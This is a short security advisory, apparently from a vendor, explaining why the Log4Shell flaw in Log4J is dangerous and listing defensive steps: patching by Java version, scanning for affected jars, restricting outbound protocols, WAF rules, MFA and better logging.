Reading Time: .
What makes Log4Shell so dangerous?
Attackers are currently scouring the internet for vulnerable systems and specifically exploiting the flaw in Log4J to inject malicious code onto web servers and connected systems without detection. The possible consequences range from data loss and extortion attempts to service outages and the compromise of entire corporate networks.
How to protect yourself from Log4J-based attacks
- Immediately apply security updates to Log4J and affected products – You can identify vulnerable software by checking against a list of affected products provided by CISA. You should also update the firmware of embedded systems and networked devices (e.g., webcams, IoT devices, etc.) as soon as possible. For Log4J itself, updates are available depending on the Java version used (caution: some non-Java systems also use Log4J!):
- Java 6: Log4J 2.3.2
- Java 7: Log4J 2.12.4
- Java 8 and higher: Log4J 2.17.1
- Internally identify web services that use Log4J – To do this, the BSI recommends a fully automatable, Python-based scanner called log4j-scan. It is particularly useful for identifying internet and intranet applications developed in-house that are vulnerable to the Log4Shell threat. File scans on the systems can identify the two Java archives log4j-api-2.XX.X.jar and log4j-core-2.XX.X.jar.
- Check existing services and restrict outgoing connections – Servers should only be allowed to initiate outgoing connections when absolutely necessary. The following services should be included on your blocklist because they are often exploited for attacks: DNS, IIOP, LDAP, LDAPS, RMI.
- Secure servers using WAF and block Log4J scanning attempts by bots – Myra offers custom rule sets developed for its Hyperscale WAF to transparently detect Log4J exploits on your systems and block access to vulnerable servers. This will give you valuable time to patch your systems and scrub compromised web servers. Bot Management allows you to control scan bots even more effectively and prevent attackers from automatically scanning your systems for Log4J vulnerabilities.
- Implement multi-factor authentication (MFA) across the board – The use of MFA for internal logins significantly slows down attackers and should therefore always be set up.
- Improve logging – XFF (X-Forwarded-For) in particular should be enabled on all firewalls, load balancers, web proxies, and WAFs to consistently log the attacker IP. This is so you won’t lose any information that you may need to establish an overall context of the attack attempt.